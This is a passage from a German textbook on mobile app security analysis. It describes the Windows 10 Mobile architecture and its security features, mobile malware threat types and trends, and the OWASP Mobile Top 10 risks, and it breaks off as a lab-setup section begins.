dass dieses OS bisher nur ein Nischenprodukt ist. Dies hat auch zur Folge, dass<br />
es wenig Forschung im Bereich der Analyse dieser Plattform gibt, was sich leider<br />
auch auf die im weiteren Verlauf dieses Buches beschriebenen Methoden auswirkt.<br />
Eine Übersicht dieser Entwicklung ist noch einmal in Tabelle 1–4 dargestellt.<br />
Sie enthält zudem die Plattformen, auf denen die einzelnen OS-Versionen zum<br />
Einsatz kamen, und zeigt damit auch das Ende der PocketPCs – wie Microsoft<br />
seine PDAs stets nannte – im Jahre 2010.<br />
Im Folgenden werden wir uns ausschließlich auf die neuere Generation des<br />
mobilen Betriebssystems mit Windows-NT-Kernel konzentrieren.
20 1 Einführung in mobile Betriebssysteme und deren Applikationen<br />
Version Veröffentlichung Verwendung<br />
Windows <strong>Mobile</strong> 2002 01/2002 p<br />
Windows <strong>Mobile</strong> 2003 06/2003 s,p<br />
Windows <strong>Mobile</strong> 2003 SE 03/2004 s,p<br />
Windows <strong>Mobile</strong> 5 05/2005 s,p<br />
Windows <strong>Mobile</strong> 6 02/2007 s,p<br />
Windows <strong>Mobile</strong> 6.1 04/2008 s,p<br />
Windows <strong>Mobile</strong> 6.5 05/2009 s,p<br />
Windows <strong>Mobile</strong> 6.5.3 02/2010 s,p<br />
Windows Phone 7 02/2010 s<br />
Windows Phone 8 06/2012 s,t<br />
Windows 10 <strong>Mobile</strong> 01/2015 s,t<br />
Tab. 1–4: Liste der Windows-Versionen und deren Erscheinungsdatum seit der ersten offiziellen<br />
Veröffentlichung in 2002 (s = Smartphone, t = Tablet, p = PDA/PocketPC)<br />
1.3.2 Die Architektur des Betriebssystems<br />
Die Architektur von Windows 10 <strong>Mobile</strong> kann in vier verschiedene Schichten<br />
unterteilt werden: Basis der Architektur ist der bereits erwähnte Windows-NT-<br />
Kernel, darüber liegen die WinRT APIs – die Schicht, die für Grafik, Audio und<br />
Video zuständig ist. Eine Schicht darüber folgt das Component Object Model,<br />
das den Anwendungsentwicklern verschiedene Runtimes zur Verfügung stellt und<br />
somit erlaubt, auf Basis der Kombination aus HTML, CSS und JavaScript oder<br />
XAML und einer der Programmiersprachen .NET, C# oder C++ Applikationen<br />
zu entwickeln. Als oberste Ebene folgen schließlich die eigentlichen Applikationen<br />
(siehe Abbildung 1–6). Jede dieser vier Schichten stellt spezielle Interfaces<br />
und Systemressourcen für die darüberliegende Schicht zur Verfügung, sodass eine<br />
Interaktion zwischen den einzelnen Schichten ermöglicht wird.<br />
Windows-NT-Kernel<br />
Der Windows-NT-Kernel, der ebenso die Basis aller Desktop-Betriebssysteme von<br />
Microsoft seit dem gleichnamigen Windows NT ist, besitzt selbst einen modularen<br />
Aufbau. Die unterste Ebene der Kernel-Schicht bildet der Hardware Abstraction<br />
Layer. Darauf bauen der eigentliche Hybridkernel und die später erwähnten<br />
Subsysteme auf. Der Hybridkernel kümmert sich dabei um die Vergabe des Arbeitsspeichers<br />
und der Rechenleistung auf der CPU und anderen verbauten Co-<br />
Prozessoren.
1.3 Windows 10 <strong>Mobile</strong> 21<br />
Modern UI Applications<br />
XAML<br />
HTML5 / CSS /<br />
WinJS<br />
DirectX Runtime<br />
Component Object Model<br />
C / C++<br />
Runtime<br />
.Net Runtime<br />
Chakra-Engine<br />
Communication<br />
& Data<br />
Graphics &<br />
Media<br />
Devices<br />
WinRT APIs<br />
Metadata &<br />
Namespace<br />
Windows NT Kernel<br />
Abb. 1–6: Übersicht über die Architektur des Windows-10-<strong>Mobile</strong>-Betriebssystems<br />
WinRT APIs<br />
Direkt auf dem Kernel aufbauend befindet sich die Windows Runtime, auch<br />
WinRT genannt, mit den essenziellen Schnittstellen zwischen den eigentlichen<br />
Applikationen und dem Hardware Abstraction Layer. Hier sind all die APIs vorhanden,<br />
die eine Applikation im Hintergrund benötigt, um auf den lokalen Speicher<br />
zuzugreifen, SMS zu versenden, Kommunikation per NFC oder WLAN vorzunehmen<br />
oder auch einfach nur ein Video abzuspielen. Die wichtigsten Schnittstellen<br />
sind dabei die folgenden:<br />
Windows RT Core: Sie übernimmt alles, was die Bereiche Authentifizierung,<br />
Kryptografie, Speichermanagement und das parallele Verarbeiten von Prozessen<br />
betrifft.<br />
Communication & Data: Hier wird alles gesteuert, was lokalen sowie Cloudbasierten<br />
Speicher betrifft, aber auch die generelle Kommunikation über<br />
Netzwerke (GSM, Wi-Fi, NFC etc.).<br />
Devices: In dieser API werden die Anfragen zu wichtigen Sensoren des Endgerätes<br />
gesteuert. Hierzu zählen u. a. GPS, Lichtsensor, aber auch die Kamera.<br />
Graphics & Media: Diese API ist für das Anzeigen von grafischen Effekten, der<br />
eigentlichen Oberfläche und auch von Videos und Bildern zuständig.
22 1 Einführung in mobile Betriebssysteme und deren Applikationen<br />
Component Object Model<br />
Das Component Object Model, auch bekannt unter der Abkürzung COM, ist<br />
eine Technik zur Erstellung von Softwarekomponenten, die unabhängig von der<br />
Programmiersprache eingesetzt werden können. Komponenten des COM ermöglichen<br />
Interprozesskommunikation und dynamische Objekterzeugung. Der Aufbau<br />
des COM ist dabei Client/Server-basiert, wobei der Server auch auf dem<br />
lokalen Endgerät laufen kann.<br />
In dieser Schicht des OS sind eine ganze Menge verschiedener Runtimes implementiert,<br />
die für den Entwickler von Applikationen eine vereinfachte Abstraktion<br />
der APIs aus der WinRT-Schicht bieten. Möchte er also z. B. mit .NET eine<br />
Applikation programmieren, so findet er in dieser Schicht fertige APIs, die er einbinden<br />
kann, um z. B. auf die Kamera oder den lokalen Speicher zuzugreifen.<br />
Innerhalb dieser Runtimes sind jedoch nicht alle verfügbaren WinRT APIs abgebildet.<br />
Möchte der Entwickler auf nicht zur Verfügung stehende Klassen und<br />
APIs aus dem darunterliegenden Framework zugreifen, muss die Applikation zwischen<br />
einem Client und einem Server aufgeteilt werden. An dieser Stelle greift das<br />
Component Object Model mit seinen vorhandenen Templates ein und unterstützt<br />
den Entwickler bei seinem Vorhaben.<br />
Im Wesentlichen kann diese Schicht als Vermittler zwischen der Programmiersprache,<br />
in der die Applikation geschrieben ist, und den WinRT APIs gesehen<br />
werden.<br />
Applikationen<br />
Die oberste Schicht stellen wie üblich die Applikationen selbst dar. Diese laufen<br />
auch bei Windows 10 <strong>Mobile</strong> in einer Sandbox. Diese Sandbox sorgt dafür,<br />
dass Applikationen in einer isolierten und überwachten Umgebung ablaufen, wo<br />
sie nur begrenzten Zugriff auf das Betriebssystem, die darin enthaltenen APIs<br />
und andere Applikationen erhalten. Einzige Ausnahme sind hier Applikationen,<br />
die mit einem Enterprise-Zertifikat signiert sind. Diese können unter bestimmten<br />
Voraussetzungen diese Abschottung umgehen.<br />
Das Modell bei Windows 10 <strong>Mobile</strong> ist – ähnlich wie es auch die Entwicklung<br />
bei iOS zeigt – darauf ausgelegt, alle Daten in der Cloud zu speichern und<br />
nur lokale Daten vorzuhalten, um auch offline arbeiten zu können oder um die<br />
Geschwindigkeit beim Arbeiten mit Applikationen zu erhöhen.<br />
Microsoft setzt beim Verteilen der Applikationen auf zentrale Verfahren. Dazu<br />
gehören der Windows Store, Configuration Manager (ein Teil des Microsoft<br />
System Center), firmeneigene <strong>Mobile</strong> Device Management (MDM)-Systeme oder<br />
das Cloud-basierte Windows InTune (Microsofts eigenes <strong>Mobile</strong> Device Management<br />
[MDM]).
1.3 Windows 10 <strong>Mobile</strong> 23<br />
1.3.3 Besondere Sicherheitsmechanismen<br />
Windows 10 <strong>Mobile</strong> bietet eine Menge Sicherheitsfeatures, die wir teilweise auch<br />
von iOS und Android kennen, aber auch von Systemen vergangener Zeiten wie<br />
Symbian. Man hat hier versucht, ein wirklich durchdachtes Sicherheitskonzept<br />
auf die mobilen Endgeräte zu bekommen. Einige der wichtigsten Komponenten<br />
davon werden im Folgenden kurz erläutert2 :<br />
Nutzerauthentifizierung: Neben den von anderen Systemen bereits bekannten<br />
Möglichkeiten, den Nutzer zu authentifizieren (wie PIN oder Passwort), bietet<br />
Windows 10 <strong>Mobile</strong> auch die Möglichkeit der Iris-Erkennung. Hierbei<br />
wird mit einer Kombination aus dem IR-Licht-Bereich und einer hochauflösenden<br />
Kamera die Iris des Nutzers fotografiert und gegen die gelernten<br />
Muster des legitimen Nutzers abgeglichen. Durch die Verwendung von Licht<br />
aus dem IR-Bereich wird es deutlich erschwert, dieses System mit bekannten<br />
Techniken [15] zu überlisten.<br />
Enterprise Data Protection (EDP): Das Herzstück der Verschlüsselung von<br />
Windows-10-<strong>Mobile</strong>-Endgeräten ist eine TPM-gestützte Version von Bit-<br />
Locker mit definierbaren Cipher Suites. Hinzu kommt eine Trennung der<br />
Firmen- und Privatdaten, wie wir sie schon von iOS oder Android-for-Work<br />
kennen: Whitelist für Applikationen, die auf Firmendaten oder das Firmen-<br />
VPN zugreifen dürfen, Abkapselung der verschiedenen Bereiche (sodass ein<br />
Nutzer keine Firmendaten manuell in den persönlichen Bereich kopieren<br />
kann) und das automatische Taggen von Firmendaten bei der Verarbeitung.<br />
Secure Boot: Windows 10 <strong>Mobile</strong> setzt hierbei auf eine Technik, wie wir sie bereits<br />
bei iOS gesehen haben. Sobald ein Windows-10-<strong>Mobile</strong>-Endgerät startet,<br />
prüft die UEFI-Firmware die digitale Signatur des Bootloaders, um sicherzustellen,<br />
dass dieser nicht manipuliert wurde. Zusätzlich wird geprüft,<br />
ob das Zertifikat, das für die digitale Signatur verantwortlich ist, von einer<br />
vertrauenswürdigen Stelle ausgestellt wurde – in diesem Fall von Microsoft<br />
selbst. Erst wenn diese Prüfungen erfolgreich absolviert wurden, wird der<br />
Bootloader geladen und ausgeführt. Im nächsten Schritt prüft der Bootloader<br />
die Integrität und Signatur des Windows-NT-Kernels und lädt ihn nur, falls<br />
auch hier wieder alle Prüfungen bestanden werden. Als letzten Schritt folgen<br />
nun die Prüfungen der restlichen Komponenten, die zum Starten von Windows<br />
10 <strong>Mobile</strong> notwendig sind. Auch hier werden vor allem die digitalen<br />
Signaturen und die Integrität der Komponenten geprüft.<br />
Health Attestation Service (HAS): Device Health Attestation verwendet das TPM<br />
(Trusted Platform Module) des mobilen Endgerätes zusammen mit Funktionen,<br />
die in der Firmware integriert sind, um essenzielle und kritische Sicherheitsfunktionen<br />
des BIOS und des Secure-Boot-Vorgangs zu überwachen.<br />
2 Für eine ausführliche Betrachtung empfehle ich: https://technet.microsoft.com/en-us/<br />
itpro/windows/keep-secure/windows-10-mobile-security-guide
24 1 Einführung in mobile Betriebssysteme und deren Applikationen<br />
Laut Microsoft werden diese Messungen und Überwachungen so durchgeführt,<br />
dass es für einen Angreifer oder eine Malware nahezu unmöglich ist,<br />
den Prozess zu manipulieren. Die so ermittelten Daten werden dann an den<br />
HAS gesendet und dort ausgewertet. Ist das überwachte Gerät Teil eines<br />
MDM, so können hier die Ergebnisse vom HAS abgerufen und ausgewertet<br />
werden. Manipulierte Endgeräte sind auf diese Weise schnell erkennbar<br />
und können mit vorkonfigurierten Prozessen abgehandelt werden (z. B. mit<br />
Remote Wipe, sobald HAS Hinweise auf eine Manipulation meldet).<br />
1.4 Chancen und Risiken von mobilen Applikationen<br />
Smartphones und Tablets sind aus dem Privatleben sowie aus dem Firmenalltag<br />
nicht mehr wegzudenken. Dabei haben sie schon lange als reine Kommunikationsmedien<br />
ausgesorgt und dienen heutzutage vielmehr als Ersatz für das Notebook<br />
oder den alten Arbeitsplatzrechner. Genau hier liegen auch die Chancen für<br />
mobile Apps: neue Einsatzszenarien für diese Art der Geräteklassen schaffen oder<br />
bekannte Einsatzszenarien auf die mobile Welt portieren.<br />
Betrachtet man, wie diese Geräte in den letzten Jahren eingesetzt werden, so<br />
sieht man schnell, dass Zugriffe auf geschützte Netze – meist per VPN – und<br />
das Bearbeiten und Erstellen von Office-Dokumenten (Word, Excel, aber auch<br />
Präsentationen mit PowerPoint oder Keynote) keine Ausnahme mehr sind. Vor<br />
allem die immer größer werdenden Displays der Smartphones zielen darauf ab,<br />
auch unterwegs die Aufgaben erledigen zu können, für die man noch vor einigen<br />
Jahren das Notebook hätte auspacken müssen.<br />
<strong>Mobile</strong> Future ist nicht nur ein sogenanntes Buzzword, sondern ein Trend,<br />
den immer mehr Firmen spüren und dem sie auch nachgehen möchten. Aus diesem<br />
Grund werden immer mehr Arbeitsabläufe in Apps implementiert oder zumindest<br />
integriert. Die Flut an vorhandenen Apps steigt dadurch täglich weiter<br />
an, was dazu führt, dass man wirklich für jeden Einsatzzweck eine passende App<br />
findet. Aber halten diese Apps auch immer, was sie versprechen? Gerade im Firmenumfeld<br />
oder wenn es um sensible private Daten geht, spielt die Sicherheit eine<br />
wichtige Rolle. Im Folgenden wird kurz aufgezeigt, welche Gefahren und Bedrohungen<br />
es in der Welt der Apps gibt, bevor in den späteren Kapiteln demonstriert<br />
wird, wie man herausfindet, ob die ausgewählte App auch wirklich das hält, was<br />
sie verspricht.<br />
1.4.1 Bedrohungsszenarien durch schadhafte Applikationen<br />
Durch die gesteigerte Nutzung von Smartphones sowie das geänderte Verteilungsmodell<br />
von Applikationen, konnten Kriminelle Smartphones als potenzielles<br />
Ziel für Malware identifizieren, um private Informationen zu stehlen und das
1.4 Chancen und Risiken von mobilen Applikationen 25<br />
Smartphone für Premium-SMS-Services zu missbrauchen oder benötigte Bank-<br />
Informationen (mTAN) zu manipulieren. In diesem Abschnitt gebe ich einen<br />
kurzen Überblick über aktuelle mobile Bedrohungen und beschreibe, warum die<br />
Android-Plattform die am meisten betroffene ist.<br />
<strong>Mobile</strong> Bedrohungen können in zwei Klassen kategorisiert werden: webbasiert<br />
und applikationsbasiert. Die webbasierten Bedrohungen auf Mobiltelefonen<br />
sind ein wachsender Angriffsvektor von Kriminellen. Diese Bedrohungen<br />
verlassen sich auf eine starke Nutzung von mobilen Browsern und deren Featurereichen<br />
Implementationen. Moderne Webbrowser unterstützen Funktionen wie<br />
embedded Video Players oder Video-Anrufe. Aufgrund der Beschaffenheit dieser<br />
Funktionen, z. B. Parsen von großen Mengen externer Daten, ist die Wahrscheinlichkeit<br />
groß, dass ausnutzbare Schwachstellen vorhanden sind. Darüber hinaus<br />
sind Angreifer in der Lage, Nutzer dazu zu bringen, einem Web-Link zu folgen,<br />
den sie via E-Mail oder Social Media erhalten haben, und dadurch das Smartphone<br />
zu infizieren, indem sie eine Browserschwachstelle ausnutzen.<br />
Der zweite Typ von mobilen Bedrohungen sind applikationsbasierte Bedrohungen<br />
durch Drittanbieter-Applikationen in den mobilen Märkten. Um Applikationen<br />
auf den Smartphones zu installieren, haben Hardwarehersteller (wie Lenovo,<br />
Samsung etc.) sogenannte <strong>Mobile</strong> Markets wie z. B. Apples »App Store«<br />
and Googles »Google Play« entwickelt. Auf iOS-basierten Geräten kann Software<br />
nur vom App Store bezogen werden. Darüber hinaus bewertet Apple jede<br />
Software, die in den App Store geladen wird, und lässt nur Apps zu, die bestimmte<br />
(nicht näher spezifizierte) Sicherheitschecks bestehen. Auf Android-Geräten ist<br />
der Nutzer in der Lage, Applikationen von Drittanbieter-Märkten zu installieren.<br />
Besonders in Asien sind viele dieser Märkte entstanden. Typischerweise besteht<br />
bei Nutzung dieser Märkte ein großes Risiko, dass man sich bei der Installation<br />
von Applikationen schadhafte Applikationen einfängt, da die Marktbesitzer die<br />
angebotenen Applikationen nicht entsprechend prüfen.<br />
Betrachtet man die schadhaften Applikationen aus solchen Märkten genauer,<br />
so kann man sie – nach Felt et al. [6] – in die folgenden drei Bedrohungstypen<br />
eingruppieren:<br />
Malware: Angreifer wollen durch die Installation von Malware Zugang zum Gerät<br />
erhalten. Das Ziel: Daten stehlen, Aktionen fernsteuern oder das Gerät<br />
beschädigen. Malware wird installiert, indem man den Nutzer dazu bringt,<br />
eine vertrauenswürdig aussehende Applikation zu installieren, oder es wird –<br />
wie in sehr vielen Fällen – eine Schwachstelle im Gerät ausgenutzt, z. B. eine<br />
Sicherheitslücke im Webbrowser.<br />
Spyware: Das Ziel von Spyware ist es, Informationen über das Opfer zu sammeln<br />
und diese dann an die Person, die die Spyware installiert hat, zu senden. Felt<br />
et al. behaupten, dass Spyware auf dem Gerät des Opfers installiert wird,<br />
indem der Angreifer physischen Zugriff auf das Smartphone hat. Betrachtet<br />
man jedoch Beispiele aus den letzten beiden Jahren, so sieht man, dass diese
26 1 Einführung in mobile Betriebssysteme und deren Applikationen<br />
Voraussetzung nicht mehr erfüllt sein muss und sich solche Tools auch über<br />
das Ausnutzen bekannter Lücken oder Social-Engineering-Techniken auf das<br />
Zielgerät aufbringen lassen können.<br />
Grayware: Nutzer, die die Software selbst installiert haben, da sie dachten, sie<br />
wäre in Ordnung, sollen hiermit ausspioniert oder zu unseriösen Angeboten<br />
verleitet werden. Teilweise funktioniert die Software wie gedacht, da die Entwickler<br />
reale Funktionen wie versprochen eingefügt haben. Trotzdem sammeln<br />
sie Informationen über das System, wie z. B. das Adressbuch des Nutzers<br />
oder seine Browser-Historie. Das Hauptziel ist es, Daten für Marketingzwecke<br />
etc. zu sammeln oder zusätzliche Werbeeinblendungen vorzunehmen.<br />
Man bezeichnet diese Applikationen auch oft als Pontentially Unwanted Applications<br />
(PUA) oder Adware.<br />
Die Verteilung dieser Bedrohungstypen auf schadhafte Applikationen, die in freier<br />
Wildbahn gefunden wurden, ist in Abbildung 1–7 zu sehen. Dabei ist zu beachten,<br />
dass die meisten schadhaften Applikationen mehr als eine dieser abgebildeten<br />
Eigenschaften vereint. Das beliebteste Ziel für Angreifer und Malware-Autoren<br />
ist immer noch der Diebstahl von sensiblen Daten wie z. B. Telefonbucheinträge<br />
oder Nutzernamen für Online-Plattformen. Direkt danach sehen wir die schadhaften<br />
Applikationen, die Eigenschaften eines Botnetzes beinhalten, dazu zählen<br />
z. B. Verbindung zu einem C&C-Server, um Befehle in Empfang zu nehmen oder<br />
Daten dorthin abfließen zu lassen. Neu dazugekommen sind in 2013 die kommerziellen<br />
Malware-Applikationen, die zum Ausspähen von Privatpersonen oder<br />
Firmen verwendet werden. Ebenso stark zugenommen hat in den vergangenen<br />
zwei Jahren die Art der schadhaften Applikationen, die auf das Abfangen und die<br />
Manipulation von mTAN-Nachrichten aus sind. In 2015 kam eine neue Bedro-<br />
100<br />
80<br />
60<br />
2011<br />
2012<br />
2013<br />
2014<br />
2015<br />
40<br />
20<br />
0<br />
Versand von Premium SMS<br />
Nutzer-Ortung<br />
Diebstahl sensibler Daten<br />
Botnetze<br />
Root-Exploits<br />
Adware und PUA<br />
Kommerzielle Malware<br />
Online-Banking-Trojaner<br />
Cryptolocker<br />
Abb. 1–7: Android-Malware-Verteilung in freier Wildbahn in den vergangenen Jahren
1.5 OWASP <strong>Mobile</strong> Top 10 27<br />
hung hinzu, die Cryptolocker bzw. allgemeiner gesagt die Ransomware. Diese<br />
Malware verschlüsselt das Endgerät oder die Nutzerdaten mit einem Passwort,<br />
das der Nutzer nicht kennt. Im Nachgang wird eine Meldung angezeigt, dass<br />
der Nutzer einen gewissen Betrag zahlen muss, um das Passwort für seine Daten<br />
zu erhalten. Der eigentliche Unterschied zwischen Ransomware und den Cryptolockern<br />
liegt hierbei im Detail: Bei gängiger Ransomware werden die Daten des<br />
Nutzers nicht verschlüsselt, sondern lediglich das Gerät gesperrt und eine Erpressungsmeldung<br />
angezeigt. Diese Masche ist aus der PC-Welt seit einigen Jahren<br />
bekannt und gefürchtet und nun auch im Android-Umfeld im Aufschwung. In<br />
Abbildung 1–7 haben wir diese beiden Arten von Schadcode unter dem Begriff<br />
der Cryptolocker zusammengefasst, da in den vergangenen Monaten fast keine<br />
Ransomware mehr erschienen ist, die nicht im Hintergrund die Daten des Nutzers<br />
verschlüsselt hat.<br />
1.5 OWASP <strong>Mobile</strong> Top 10<br />
Die Non-Profit-Organisation OWASP (Open Web Application Security Project)<br />
hat in den vergangenen Jahren immer wieder mobile Applikationen betrachtet<br />
und dabei ein starkes Augenmerk auf die Sicherheit dieser Applikationen gelegt.<br />
Eines der Ergebnisse hierbei war die <strong>Mobile</strong>-Top-103 -Liste, die die zehn kritischsten<br />
Gefahren für mobile Applikationen beschreibt. Die Fassung aus dem Jahr<br />
2015 zeigt Abbildung 1–8.<br />
Abb. 1–8: Die <strong>Mobile</strong> Top 10 von OWASP<br />
3 <strong>Mobile</strong> Top 10: https://www.owasp.org/index.php/Projects/OWASP_<strong>Mobile</strong>_<br />
Security_Project_-_Top_Ten_<strong>Mobile</strong>_Risks
28 1 Einführung in mobile Betriebssysteme und deren Applikationen<br />
Im Folgenden werden diese Gefahren kurz erläutert und es wird darauf eingegangen,<br />
wie deren Einfluss auf die Sicherheit der Applikationen einzuschätzen ist.<br />
Bei all diesen Punkten darf man jedoch nie vergessen, dass es hier um ein<br />
stetiges Katz-und-Maus-Spiel geht und man als Entwickler wie auch als Angreifer<br />
immer auf dem aktuellsten Stand sein muss. Sehr oft gibt es neue Werkzeuge,<br />
die das Umgehen von eingebauten Sicherheitsmaßnahmen ermöglichen, die noch<br />
bis vor Kurzem als sicher galten. Auch tauchen immer wieder Schwachstellen in<br />
Bibliotheken auf, die einen neuen Angriff ermöglichen und so die Applikation<br />
und deren Daten gefährden, obwohl der Entwickler bei der Programmierung und<br />
dem Design der Applikation alles richtig gemacht hatte. Hier helfen auf beiden<br />
Seiten nur schnelle Updates und Anpassungen an die Umwelt.<br />
1.5.1 M1: Weak Server Side Controls<br />
Hierbei handelt es sich im Wesentlichen um Probleme, die mit dem Backend<br />
der mobilen Applikation zu tun haben. Also Dinge wie Authentifiziert sich der<br />
Nutzer bzw. die Applikation korrekt?, Wie ist das Session-Handling implementiert?<br />
oder Macht das Backend eine Überprüfung der Übergabewerte, die es von<br />
der Applikation erhält?. Diese Schwachstellen sind sehr einfach auszunutzen und<br />
ziehen oft gravierenden Schaden nach sich. Die Fehler dieser Kategorie lassen<br />
sich aber zumeist nicht in der Applikation beseitigen, sondern im Backend selbst,<br />
weshalb hier eine gute Zusammenarbeit von App-Entwickler und Webservice-<br />
Betreiber/-Entwickler nötig ist. Im weiteren Verlauf des Buches werden wir auf<br />
diese Schwachstellen ein nur geringes Augenmerk legen.<br />
1.5.2 M2: Insecure Data Storage<br />
Bei dieser Schwachstelle geht es um die Art und Weise, wie eine Applikation ihre<br />
verarbeiteten Daten sowie ihre Konfigurationsdaten ablegt. Zu diesen Daten<br />
zählen z. B. SQLite-Datenbanken, plist-Dateien, aber auch Logdateien. Viele Entwickler<br />
mobiler Applikationen verlassen sich hierbei komplett auf die Tatsache,<br />
dass die Applikationen auf den Endgeräten in abgeschotteten Umgebungen ausgeführt<br />
werden und daher ein Zugriff auf ihre Daten nicht möglich sein sollte.<br />
Dies ändert sich aber in dem Moment, wo ein solches Endgerät manipuliert oder<br />
gar infiziert ist. Ebenso wird hierbei oft vergessen, dass es Bereiche gibt, die von<br />
dieser Trennung nicht betroffen sind, wie z. B. die SD-Karte bei einem Android-<br />
Endgerät. Auf Schwachstellen dieses Typs und die damit verbundene Ausnutzbarkeit<br />
wird in den Abschnitten 4.7, 6.4 sowie 8.2 eingegangen.
1.5 OWASP <strong>Mobile</strong> Top 10 29<br />
1.5.3 M3: Insufficient Transport Layer Protection<br />
Beim Design von mobilen Applikationen spielt die Datenübertragung zum Backend<br />
eine wichtige Rolle und ist in fast jeder Applikation vorhanden. Bei der Übertragung<br />
müssen die Daten durch mehrere Netze transportiert werden, bis sie das<br />
eigentliche Ziel erreichen. Zu diesen Netzen zählt das Netz des Telekommunikationsanbieters<br />
sowie das Internet. Auf diesem Weg gibt es eine Vielzahl von Gefahren<br />
und Unbekannten (wie z. B. manipulierte Wi-Fi-Router oder GSM-Zellen,<br />
Proxies oder Malware auf dem Endgerät). Um trotz dieser Gefahren eine sichere<br />
Datenübertragung zu gewährleisten, verwenden die meisten Applikationen SSL/<br />
TLS um die Übertragung zu verschlüsseln. Dabei können jedoch eine Menge Fehler<br />
passieren, die in Kapitel 9 aufgezeigt und ausgenutzt werden.<br />
1.5.4 M4: Unintended Data Leakage<br />
Der ungewollte Datenabfluss geschieht immer dann, wenn ein Entwickler auf<br />
Funktionen des darunterliegenden Betriebssystems zurückgreift, die unbeabsichtigte<br />
oder nicht beachtete Seiteneffekte besitzen. Dazu gehört z. B. das Cashing<br />
von URLs oder die Zwischenablage. Kennt ein Angreifer diese Eigenschaften,<br />
so kann er durch den Einsatz forensischer Werkzeuge oder durch Malware mit<br />
speziellen Eigenschaften diese Seiteneffekte ausnutzen. Diese Schwachstelle bzw.<br />
Designfehler werden wir im Verlauf des Buches immer wieder finden.<br />
1.5.5 M5: Poor Authorization and Authentication<br />
Hierbei geht es im Wesentlichen um schwache oder nicht ausreichende Nutzerauthentifizierung<br />
oder Überprüfung der Rechte des authentifizierten Nutzers. Häufige<br />
Fehler hierbei sind die Verwendung von leicht fälschbaren Werten, wie z. B.<br />
der IMEI oder der GPS-Daten. Ebenso sieht man öfters, dass zwar die Applikation<br />
eine PIN besitzt, um den Nutzer zu authentifizieren, diese aber nicht zur<br />
Verschlüsselung der Anfragen oder Datenhaltung verwendet wird. Hierdurch ist<br />
es einem Angreifer möglich, die Daten der Applikation auszulesen oder sich durch<br />
gültige Requests an das Backend als der eigentliche Nutzer auszugeben. Beispiele<br />
für solche Designfehler werden u. a. in Abschnitt 4.7.3 demonstriert und sind<br />
leider sehr häufig aufzufinden bei mobilen Applikationen.<br />
1.5.6 M6: Broken Cryptography<br />
Viele Entwickler von Applikationen wissen inzwischen, welche Algorithmen als<br />
sicher gelten und setzen diese auch bei der Verschlüsselung ihrer Daten und Verbindungen<br />
ein. Problematisch sind jedoch immer wieder die verwendeten Schlüssel<br />
– das eigentliche Geheimnis. Hier sieht man häufig, dass nicht ein echtes Geheimnis,<br />
wie eine PIN des Nutzers, verwendet wird, sondern sogenannte hardcoded<br />
Credentials. Beim Reversing einer Applikation können diese Schlüssel sehr
30 1 Einführung in mobile Betriebssysteme und deren Applikationen<br />
einfach ausgelesen werden und die Verschlüsselung damit rückgängig gemacht<br />
werden. Dies ist eines der größten Probleme, da Entwickler immer zwischen Benutzbarkeit<br />
und Sicherheit abwägen müssen und PINs sowie Passwörter bei Nutzern<br />
sehr unbeliebt sind. Ohne diese ist jedoch eine gute Verschlüsselung nur sehr<br />
schwer umsetzbar.<br />
1.5.7 M7: Client Side Injection<br />
Dies ist einer der Klassiker aus dem Bereich des Pentestings. Der Angreifer versucht<br />
hierbei, Code oder Daten an die Applikation weiterzugeben, mit der sie<br />
nicht umgehen kann, und erhofft hierdurch Fehlverhalten auszulösen, das die<br />
Rechte erweitert oder sensible Daten freigibt. Dies geschieht meist durch fehlende<br />
Eingabevalidierung (engl. Input Validation) oder durch Verwendung anfälliger<br />
Bibliotheken. Beispiele für solche Schwachstellen, die sehr ernst zu nehmende Angriffsvektoren<br />
sind, zeigt u. a. Abschnitt 4.4.<br />
1.5.8 M8: Security Decisions Via Untrusted Inputs<br />
Hierbei handelt es sich um Designschwachstellen, die man aus dem Bereich der<br />
Webapplikationen sehr gut kennt. Die Applikation übergibt versteckte Parameter<br />
an das Backend oder eine andere Applikation auf dem Endgerät, die sensitive<br />
Informationen beinhalten. Hierzu kann z. B. die Rolle des Nutzers (User oder Admin)<br />
zählen. Ein Angreifer oder eine Malware kann diese Kommunikation (meist<br />
IPC- oder webbasiert) abfangen und manipulieren. Hierdurch ist es möglich, die<br />
Rechte des Nutzers auszuweiten oder andere als gewünschte Daten zurückzugeben.<br />
Auf IPC-Ebene sehen wir diese Schwachstellen nur sehr selten, nichtsdestotrotz<br />
sollte man sie aber dennoch beachten, da sie gerade bei der Kommunikation<br />
mit dem Backend wichtig sind.<br />
1.5.9 M9: Improper Session Handling<br />
Damit eine Applikation mit dem Backend im Namen eines Nutzers kommunizieren<br />
kann, wird meist nach erfolgreicher Authentifizierung ein Token generiert,<br />
das eindeutig zuordenbar ist. Häufige Probleme hierbei sind, dass diese Token<br />
mit einer zu geringen Entropie generiert werden, dadurch also vorhersehbar sind,<br />
oder eine viel zu lange Gültigkeit haben. Ebenso sieht man häufig, dass diese Token<br />
auch noch nach einem Log-out des Nutzers gültig sind und nicht ordnungsgemäß<br />
entwertet werden. Des Weiteren kommt es häufig vor, dass diese Token<br />
unzureichend auf dem Endgerät selbst geschützt werden und so ein Angreifer lediglich<br />
das Token stehlen muss, um sich als ein anderer Nutzer gegenüber dem<br />
Backend auszugeben. Diese Schwachstelle ist ebenfalls sehr bekannt aus dem Bereich<br />
der Webapplikationen und sollte immer überprüft werden.
1.6 Eine Laborumgebung erstellen 31<br />
1.5.10 M10: Lack of Binary Protections<br />
Hier geht es ganz wesentlich um den Schutz der eigenen Applikation vor Angriffen,<br />
wie wir sie in den kommenden Kapiteln durchführen werden. Als Entwickler<br />
einer Applikation sollte man sich immer überlegen, ob es sinnvoll ist, seine Applikation<br />
vor Reversing zu schützen. So kann man Methoden einfügen, die die<br />
Integrität des Endgerätes prüfen, oder bekannte Werkzeuge zum Reversing so<br />
manipulieren, dass diese nicht mehr funktionieren. Auch Code-Verschleierung ist<br />
ein gerne verwendetes Mittel, um es einem Analysten oder Angreifer besonders<br />
schwer zu machen, die Applikation zu verstehen. Viele der im Folgenden gezeigten<br />
Angriffe funktionieren nur, da der Entwickler sich um diesen Punkt keine –<br />
oder nicht ausreichende – Gedanken gemacht hat.<br />
1.6 Eine Laborumgebung erstellen<br />
Möchte man Applikationen für mobile Endgeräte erstellen oder auch analysieren,<br />
so ist es wichtig, dass man die passende Labor- bzw. Arbeitsumgebung bei<br />
sich eingerichtet hat. In den folgenden Abschnitten wird gezeigt, wie Sie die entsprechenden<br />
Umgebungen für die Arbeit mit den verschiedenen mobilen Betriebssystemen<br />
einrichten können. Diese Beschreibungen dienen dabei als grobe Blaupause,<br />
